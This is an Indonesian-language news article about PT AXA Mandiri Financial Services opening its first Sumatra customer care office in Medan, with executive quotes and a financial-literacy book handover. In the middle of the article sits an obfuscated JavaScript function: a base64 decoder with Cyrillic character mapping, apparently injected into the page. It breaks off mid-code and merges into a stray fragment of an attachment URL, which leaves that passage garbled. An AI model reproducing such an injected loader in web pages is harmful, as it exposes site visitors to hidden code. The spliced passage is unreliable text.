AXA Mandiri Dekatkan Diri dengan Nasabah di Medan

MEDAN (medanbicara.com) – Dalam rangka mewujudkan komitmen untuk selalu menempatkan kebutuhan nasabah sebagai prioritas (Customer Centricity), PT AXA Mandiri Financial Services (AXA Mandiri) hari ini membuka Kantor Pelayanan Nasabah (Customer Care Corner / CCC) di Medan, Sumatera Utara, Rabu (8/2).

Keberadaan CCC di Medan merupakan upaya lebih lanjut dari AXA Mandiri untuk senantiasa meningkatkan layanan kepada nasabah, khususnya bagi nasabah yang berada di wilayah Medan dan sekitarnya.

Kantor CCC di Medan ini merupakan kantor pelayanan nasabah AXA Mandiri yang pertama di Pulau Sumatera dan yang keempat di luar Jakarta. Sebelumnya, AXA Mandiri telah mengoperasikan CCC di Surabaya, Bandung dan Semarang.

President Director of AXA Mandiri, Jean Philippe Vandenschrick, mengatakan bahwa kehadiran Customer Care Corner (CCC) AXA Mandiri di Medan akan membuat nasabah lebih mudah dan cepat dalam mendapatkan layanan untuk memenuhi kebutuhan mereka di bidang perlindungan diri.

“Sesuai dengan prinsip Customer Centricity yang kami terapkan, nasabah merupakan prioritas utama dari AXA Mandiri. Komitmen kami yaitu mengutamakan layanan kepada nasabah, sehingga asuransi dapat menjadi bagian dan solusi dari kebutuhan masyarakat di Indonesia,” ungkap Jean Philippe.

Director of in Branch Channel AXA Mandiri Tisye Diah Retnojati menambahkan, Sumatera Utara merupakan wilayah yang memiliki peran penting bagi perekonomian wilayah Sumatera dan nasional. Sebagai provinsi berpenduduk terbesar di luar Jawa, serta kondisi pertumbuhan ekonomi di Sumatera Utara yang cukup baik, wilayah tersebut tentunya memiliki potensi yang positif bagi pasar asuransi.

Patut diketahui, Bank Indonesia memprediksi pertumbuhan ekonomi Sumatera Utara pada tahun 2017 akan semakin membaik di kisaran 5,1 - 5,5 persen yang didorong oleh perbaikan ekonomi domestik dan menurunnya laju inflasi[1].

Hal tersebut menjadi salah satu pertimbangan bagi AXA Mandiri untuk terus mengoptimalkan potensi yang ada, salah satunya adalah dengan menghadirkan kantor regional sales yang berdampingan dengan kantor pelayanan nasabah (CCC).

“Dengan kehadiran kantor regional dan CCC AXA Mandiri di Medan, diharapkan penetrasi asuransi meluas di wilayah ini, sehingga kami juga berharap masyarakat di Sumatera Utara semakin peduli akan pentingnya asuransi untuk merencanakan dan mempersiapkan hidup yang lebih baik,” katanya.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandiri-dekatkan-diri-dengan-nasabah-di-medan/attachment/screenshot_2017-02-08-20-03-46_1486559166492" rel="attachment wp-att-5249">

Lebih lanjut Kartono, Director of Marketing and Operations menjelaskan bahwa kehadiran CCC di Medan akan memperluas akses layanan dan memberikan kemudahan kepada nasabah untuk menjangkau AXA Mandiri, serta memberikan kenyamanan saat berkonsultasi dengan tim Customer Care AXA Mandiri.

“Dengan keberadaan Kantor Pelayanan Nasabah, AXA Mandiri siap memberikan pelayanan purna jual secara menyeluruh kepada setiap nasabah yang datang, mulai dari perubahan data polis, penarikan dana sebagian (withdrawal), express claim, klaim meninggal, dan lainnya,” tutur Kartono.

Salah satu keistimewaan dari Kantor Pelayanan Nasabah Medan ini ada pada jaringan yang terkoneksi dengan kantor pusat di Jakarta, sehingga memungkinkan CCC AXA Mandiri di Medan dapat menggunakan aplikasi yang sama dengan Customer Care Corner Jakarta, serta dapat mengakses data secara real time.

AXA Mandiri Customer Care Corner Medan yang berlokasi di Gedung Bank Mandiri Imam Bonjol Lantai 5, Jalan Imam Bonjol No.7, Medan akan beroperasi pada hari kerja, yaitu Senin sampai Jumat pukul 08.00 sampai 17.00, bagi nasabah yang ingin mendapatkan pelayanan atas kebutuhan terkait polis asuransi mereka.

Pada kesempatan yang sama, AXA Mandiri juga menyatakan komitmennya mendukung program OJK dalam rangka meningkatkan literasi keuangan dengan menyerahkan secara simbolis buku “Mengenal Otoritas Jasa Keuangan dan Industri Jasa Keuangan” kepada Ketua Musyawarah Guru Mata Pelajaran Ekonomi Tingkat SLTA – Medan, Ibu Monika Siregar.

“Buku ini nantinya akan diberikan kepada SMAN 4 dan SMK di area Medan. Kami berharap, buku tersebut dapat membantu para guru dalam memahami lebih dalam mengenai produk dan jasa keuangan, serta pengetahuan tersebut dapat diteruskan kepada anak didik mereka,” tutup Kartono.

Menanggapi hal tersebut, Lukdir Gultom, Kepala OJK Regional 5 Sumatera Bagian Utara menyatakan pihaknya mengapresiasi pembukaan AXA Mandiri, sesuai dengan peraturan OJK untuk mengedukasi masyarakat.

"Kehadiran CCC sangat penting karena masih banyak masyarakat yang membutuhkan pertemuan secara langsung untuk mengurus kebutuhan perlindungan diri mereka,” tegasnya. (emzu)